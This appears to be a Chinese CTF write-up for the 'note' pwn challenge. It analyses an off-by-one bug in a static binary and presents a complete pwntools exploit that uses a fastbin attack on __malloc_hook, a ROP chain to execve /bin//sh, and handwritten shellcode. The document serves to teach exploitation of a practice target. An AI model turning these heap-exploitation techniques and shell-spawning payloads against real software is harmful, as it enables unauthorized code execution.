2019--HuXaing--note

checksec

[*] '/home/matrix/PWN/note'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

保护全部关闭

IDA

程序是个静态编译的所以libc地址泄露是不用想了。而且除去了符号表所以花点时间标记一下函数

main函数

// 整个程序目的是:note管理器 一共 16个 note
// 
// add:malloc(size) 指针放在main函数的栈上,size记录在:指针_addr + 0x80
// 
// edit:从栈上获取指针于对应size,再次输入,输入之后size=str(input)
// 
// delete: 从栈上获取指针,free(ptr) 并且指针,size置零  
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  signed int choice; // eax
  char ptr2chunk; // [rsp+20h] [rbp-390h]
  int v5; // [rsp+3ACh] [rbp-4h]

  sub_4009AE();                                 // 初始化
  puts((__int64)"Welcome to Hacker's Note");
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      choice = read_int();
      v5 = choice;
      if ( choice != 2 )
        break;
      delete((__int64)&ptr2chunk);
    }
    if ( choice > 2 )
    {
      if ( choice == 3 )
      {
        edit((__int64)&ptr2chunk);
      }
      else
      {
        if ( choice == 4 )
        {
          puts((__int64)"see u ~");
          sub_40F090(0LL);
        }
LABEL_14:
        puts((__int64)"Invaild choice!");
      }
    }
    else
    {
      if ( choice != 1 )
        goto LABEL_14;
      add((__int64)&ptr2chunk, (__int64)argv);
    }
  }
}

其中在edit功能中存在漏洞:

__int64 __fastcall edit(__int64 a1)
{
  signed int index; // [rsp+1Ch] [rbp-4h]

  puts((__int64)"Input the Index of Note:");
  index = read_int();
  if ( (unsigned __int8)sub_400B04(index, a1) ^ 1 )
  {
    puts((__int64)"Invaild !!");
  }
  else
  {
    puts((__int64)"Input the Note:");
    read_like(*(_QWORD *)(8LL * index + a1), *(_QWORD *)(8 * (index + 16LL) + a1));
    *(_QWORD *)(a1 + 8 * (index + 16LL)) = strlen(*(const __m128i **)(8LL * index + a1));// size = strlen(chunk) 
    puts((__int64)"Edit Done!");
  }
  return 0LL;
}

如果前一个chunk的数据区填满了那么其下一个数据就是下面一个chunk的size字段,那么strlen在判断字符长度时就会多一个,那么size将会+1。最终造成off-by-one,可以达到覆盖size字段的目的

数据结构

思路

  • 利用off-by-one覆盖fastbin chunk的size字段造成fastbin chunk extend
  • 利用overlapping 篡改下一个chunk的fd字段,使其指向__malloc_hook,实现fastbin attack
    因为程序的RWX段比较多,而且程序静态编译所以大部分段都是固定的。所以利用方案也有多个
    pwndbg> vmmap
    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
            0x400000           0x4ca000 r-xp    ca000 0      /home/matrix/PWN/note
            0x6ca000           0x6cd000 rwxp     3000 ca000  /home/matrix/PWN/note   <==========__malloc_hook
            0x6cd000           0x6f2000 rwxp    25000 0      [heap]
      0x7ffff7ffa000     0x7ffff7ffd000 r--p     3000 0      [vvar]
      0x7ffff7ffd000     0x7ffff7fff000 r-xp     2000 0      [vdso]
      0x7ffffffde000     0x7ffffffff000 rwxp    21000 0      [stack]
    0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]

我的方案是,通过fastbin attack获取__malloc_hook附近的chunk,然后构造一个read函数将ropchain读取到RWX区然后跳转到对应区域即可

  void *retaddr; // [rsp+18h] [rbp+0h]

  if ( off_6CB788 )   <======进入malloc函数后根据其__libc_malloc的首先判断hook的特点可知这里就是__malloc_hook地址
    return off_6CB788(a1, retaddr);
  _RBX = __readfsqword(0xFFFFFFD8);
  if ( _RBX && !(*(_DWORD *)(_RBX + 4) & 4) )
  {
    _ESI = 1;
    v8 = dword_6CE1BC == 0;
    if ( dword_6CE1BC )

EXP

#+++++++++++++++++++note.py++++++++++++++++++++
# -*- coding:utf-8 -*-                           
#Author: Squarer
#Time: Wed Oct 21 19:50:07 CST 2020
#+++++++++++++++++++note.py++++++++++++++++++++
from pwn import*
from struct import pack

#context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'

elf = ELF('./note')
#libc = ELF('null')
# libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc=ELF('/lib/i386-linux-gnu/libc.so.6')

def add(size,cont):
    sh.sendlineafter('-----------------\n','1')
    sh.sendlineafter('Input the Size:\n',str(size))
    if(size != -1):
        sh.sendlineafter('Input the Note:\n',str(cont))

def delete(index):
    sh.sendlineafter('-----------------\n','2')
    sh.sendlineafter('Input the Index of Note:\n',str(index))

def edit(index,cont):
    sh.sendlineafter('-----------------\n','3')
    sh.sendlineafter('Input the Index of Note:\n',str(index))
    sh.sendafter('Input the Note:\n',str(cont))

sh = process('./note')
malloc_hook = 0x6CB788
fake_chunk_size_addr = 0x6cb77a
fake_chunk_addr = fake_chunk_size_addr - 0x8
#sh = remote('ip',port)
add(0x58,'AAAABBBB') #0
add(0x58,'AAAAAAAA') #1
fake_size_for_extends = p64(0x21)
add(0x38,'C'*0x18+fake_size_for_extends) #2
edit(0,'A'*0x58)

edit(0,'A'*0x58 + '\x81')# fastbin chunk extend
delete(1) 
delete(2)

attack1 = 'A'*0x58
attack1 += p64(0x41)
attack1 += p64(fake_chunk_addr)

add(0x78,attack1)

add(0x38,'AAAAAAAA')

read = asm('''
    xor rdi,rdi
    mov rsi,0x6cd000
    mov rdx,0x400
    mov rax,0
    syscall
    mov rsp,0x6cd000   #ip跳转
    ret
    ''')

attack2 = 'A'*6 + p64(malloc_hook+0x10)
attack2 += p64(0x6cd000) + read

#ROPgadget --binary note --ropchain
p = ''
p += pack('<Q', 0x0000000000401c37) # pop rsi ; ret
p += pack('<Q', 0x00000000006cb080) # @ .data
p += pack('<Q', 0x0000000000478e06) # pop rax ; pop rdx ; pop rbx ; ret
p += '/bin//sh'
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000474ab1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401c37) # pop rsi ; ret
p += pack('<Q', 0x00000000006cb088) # @ .data + 8
p += pack('<Q', 0x0000000000426dcf) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000474ab1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401b16) # pop rdi ; ret
p += pack('<Q', 0x00000000006cb080) # @ .data
p += pack('<Q', 0x0000000000401c37) # pop rsi ; ret
p += pack('<Q', 0x00000000006cb088) # @ .data + 8
p += pack('<Q', 0x0000000000443606) # pop rdx ; ret
p += pack('<Q', 0x00000000006cb088) # @ .data + 8
p += pack('<Q', 0x0000000000426dcf) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004003da) # syscall

add(0x38,attack2)
log.success("attack2 len====>"+str(hex(len(attack2))))
log.success("ropchain len====>"+str(hex(len(p))))
#gdb.attach(sh,'b*0x0000000000400BF8')
add(-1,'AAAA')

sh.sendline(p)

sh.interactive()

当然也可以直接读取shellcode到堆区,然后直接在__malloc_hook中写入shellcode地址即可,但是我老是遇到程序执行到push rsp或者某个存放二级指针的寄存器时跳转到无效指令。
因为当时用的都是网上的shellcode,如下:

0000000000400080 <_start>:
  400080:    50                       push   %rax
  400081:    48 31 d2                 xor    %rdx,%rdx
  400084:    48 31 f6                 xor    %rsi,%rsi
  400087:    48 bb 2f 62 69 6e 2f     movabs $0x68732f2f6e69622f,%rbx
  40008e:    2f 73 68 
  400091:    53                       push   %rbx    <========此时rsp就是/bin//sh的指针
  400092:    54                       push   %rsp    <========这里出错
  400093:    5f                       pop    %rdi   
  400094:    b0 3b                    mov    $0x3b,%al
  400096:    0f 05                    syscall

然后就只能自己改一下了:

shellcode = asm('''
    xor rax,rax
    push rax
    movabs rdi,0x68732f2f6e69622f
    push rdi 
    mov rdi,rsp   <======这里就没用push和pop组合来获取指针了,直接赋值
    xor rdx,rdx
    xor rsi,rsi
    mov al,0x3b
    syscall
    ''')

  转载请注明: Squarer 2019--HuXaing--note

 上一篇
House Of Einherjar House Of Einherjar
介绍house of einherjar 是一种堆利用技术,由 Hiroki Matsukuma 提出。该堆利用技术可以强制使得 malloc 返回一个几乎任意地址的 chunk。其主要在于滥用 free 中的后向合并操作即合并低地址的 c
2020-10-27
下一篇 
Large Bin Attack Large Bin Attack
前言:我感觉这种利用有点借力打力的感觉。 通过实例学习 large bin attack 的原理这里我们拿 how2heap 中的 large bin attack 中的源码来分析,记得看看malloc进行unsortedbin 分配的源码
2020-10-25
  目录